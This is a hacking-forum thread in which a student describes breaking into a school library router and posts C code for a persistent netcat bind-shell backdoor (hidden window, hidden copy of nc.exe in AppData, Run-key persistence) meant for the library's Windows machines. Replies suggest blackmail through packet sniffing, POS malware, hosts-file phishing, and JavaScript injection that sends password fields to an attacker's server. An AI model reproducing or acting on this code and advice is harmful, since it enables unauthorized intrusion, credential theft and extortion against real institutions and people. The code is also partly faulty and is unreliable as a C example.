Poll

What should i do next

Drink Some Coffee
15 (31.9%)
Code Some C
12 (25.5%)
Research Buffer Overflows a tad more
6 (12.8%)
Add a poll
3 (6.4%)
Browse 9gag
11 (23.4%)

Total Members Voted: 47

Author Topic: Setting Up A Backdoor  (Read 2653 times)

0 Members and 1 Guest are viewing this topic.

Offline L4T1N

  • /dev/null
  • *
  • Posts: 5
  • Cookies: -6
    • View Profile
Setting Up A Backdoor
« on: February 12, 2015, 01:53:51 pm »
Hiii Everyone :P


So i just had a quick question. My school has a wifi set up for the library which is not free to access. Unfortunately the AP is reachable from the IT class so i simply logged into the router with the default password and set up my own little AP for free wifi :D


I am now bored with this and would like to do something else.
The computers in the library all run windows 7 and F-PROT if i'm not mistaken. Luckily though the administrator account has no password. I thought I'd create a simple piece of malware in C that would allow me to execute commands from either my phone or the computers in the IT class on the computers in the library (  I know i can use nc for this :D ) I don't think this will be particularly hard though and i'm getting kind of bored.


Any ideas? :P
« Last Edit: February 12, 2015, 01:55:51 pm by L4T1N »

Offline L4T1N

  • /dev/null
  • *
  • Posts: 5
  • Cookies: -6
    • View Profile
Re: Setting Up A Backdoor
« Reply #1 on: February 12, 2015, 02:26:07 pm »
I'm probably not good enough to do that just yet :/


If i had to think of a few ways though i'd abuse the fact that masked input boxes in html don't protect the actual value in memory so doing something like document.getElementById("j_pin").value would return the actual pin someone uses to login to a bank website. Of course you'd have to be on the computer in question and someone would need to distract the person in question aaaaaaaaaannnnnnnnnnddddd hopefully something like remember my password is enabled on the browser.


Blackmail with some information i can get by sniffing packets travelling through the network? I do have access to the router so setting it up to forward all traffic to the computer I control and setting up a packet sniffer would be easy.


Uhm. That's about all i can think of so quickly :3

Offline hppd

  • Knight
  • **
  • Posts: 163
  • Cookies: 7
    • View Profile
Re: Setting Up A Backdoor
« Reply #2 on: February 12, 2015, 02:57:53 pm »
I'm probably not good enough to do that just yet :/


If i had to think of a few ways though i'd abuse the fact that masked input boxes in html don't protect the actual value in memory so doing something like document.getElementById("j_pin").value would return the actual pin someone uses to login to a bank website. Of course you'd have to be on the computer in question and someone would need to distract the person in question aaaaaaaaaannnnnnnnnnddddd hopefully something like remember my password is enabled on the browser.


Blackmail with some information i can get by sniffing packets travelling through the network? I do have access to the router so setting it up to forward all traffic to the computer I control and setting up a packet sniffer would be easy.


Uhm. That's about all i can think of so quickly :3

Pfft seems like a lot of boring work for little money it's easier to steal a wallet :P

You could always install a POS malware in a store that sells extremely valuable items and steal cash from some caviar eating fucks. Or steal some bitcoin from the heroïn dealers of doom. But give a lot of money to the ultra poor as well then to fix your cosmic karma.

Until then keep drinking that hot coffee

Offline L4T1N

  • /dev/null
  • *
  • Posts: 5
  • Cookies: -6
    • View Profile
Re: Setting Up A Backdoor
« Reply #3 on: February 12, 2015, 03:08:03 pm »
Code: [Select]
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <CustomHeader_Small.h>
int main()
{
    char Title[255];
    GetConsoleTitle(Title,sizeof(Title));
    ShowWindow(FindWindow(NULL,Title),0);
    free(Title);
    char *File = malloc(1);
    File = getenv("appdata");
    strcat(File,"\\nc.exe");
    if (FileExists(File)==0)
    {
        CopyFile("nc.exe",File,0);
        SetFileAttributes(File,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
    }


    if (ShellExecute(0,"open",File,"-l -e cmd -p 968 -L",0,0) < 32)
        Beep(100,50);
    HKEY RegHandler;


    if (RegOpenKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&RegHandler)!=ERROR_SUCCESS)
    {
    main();
    }
    else
    {
        strcat(File," -l -e cmd -p 968 -L");
     if (RegSetValueEx(RegHandler,"BackD00r",0,REG_SZ,File,strlen(File)) != ERROR_SUCCESS)
        Beep(100,50);
    RegCloseKey(RegHandler);
    }


    free(File);


    return 0;
}


I'll be using this for the school's library :P
« Last Edit: February 12, 2015, 05:23:09 pm by L4T1N »

Offline Syntax990

  • Peasant
  • *
  • Posts: 129
  • Cookies: 77
  • Bruce Willis
    • View Profile
    • Evilzone "Hack"
Re: Setting Up A Backdoor
« Reply #4 on: February 12, 2015, 05:22:51 pm »
Am I the only one seeing the helloworld! in the URL?!?

Offline L4T1N

  • /dev/null
  • *
  • Posts: 5
  • Cookies: -6
    • View Profile
Re: Setting Up A Backdoor
« Reply #5 on: February 12, 2015, 05:23:35 pm »
Haha i changed the subject that's why it's there XD

Offline L4T1N

  • /dev/null
  • *
  • Posts: 5
  • Cookies: -6
    • View Profile
Re: Setting Up A Backdoor
« Reply #6 on: February 13, 2015, 07:39:24 pm »
I haven't created the malware just yet :P I just think it's possible :O and i'm out of school next year :P


Doesn't have to be malware either. The problem is because of HTML so any site using a masked input box is exploitable
« Last Edit: February 13, 2015, 07:40:21 pm by L4T1N »

Offline [fazed]

  • /dev/null
  • *
  • Posts: 5
  • Cookies: 0
    • View Profile
Re: Setting Up A Backdoor
« Reply #7 on: February 23, 2015, 12:02:28 am »
Set up a normal back door using nc set to start on boot, if nc is detected by the av then think about writing a PE file but remember the most simple option is most likely to work. As for stealing credentials you can either use a keylogger or you could even go old school and change the host file to add a fake login pages for banks (phishing) or inject JavaScript into web requests which silently reads the value of the the password field and creates a hidden image element to send it back to a server you control (remember you can also steal credentials through hidden fields if auto complete is enabled and you change the action value of the form to your script) the list of possibilities is endless!

Offline Karpz

  • Peasant
  • *
  • Posts: 50
  • Cookies: -30
  • KARPz
    • View Profile
    • hi
Re: Setting Up A Backdoor
« Reply #8 on: March 05, 2015, 10:51:23 pm »
I would setup Evil Twin, and redirect to a site you setup to steal some data xD
« Last Edit: March 05, 2015, 10:52:40 pm by Karpz »
"You don't?"
- Sterling Archer

Offline jitterbud

  • /dev/null
  • *
  • Posts: 8
  • Cookies: 0
    • View Profile
Re: Setting Up A Backdoor
« Reply #9 on: May 24, 2015, 04:10:16 pm »
I envy your C program  ::) . WTF is in the
CustomHeader_Small header file anyway?

Offline x0nic

  • Peasant
  • *
  • Posts: 51
  • Cookies: 5
    • View Profile
Re: Setting Up A Backdoor
« Reply #10 on: May 24, 2015, 09:51:15 pm »
RegSetValueEx(RegHandler,"BackD00r"
lulz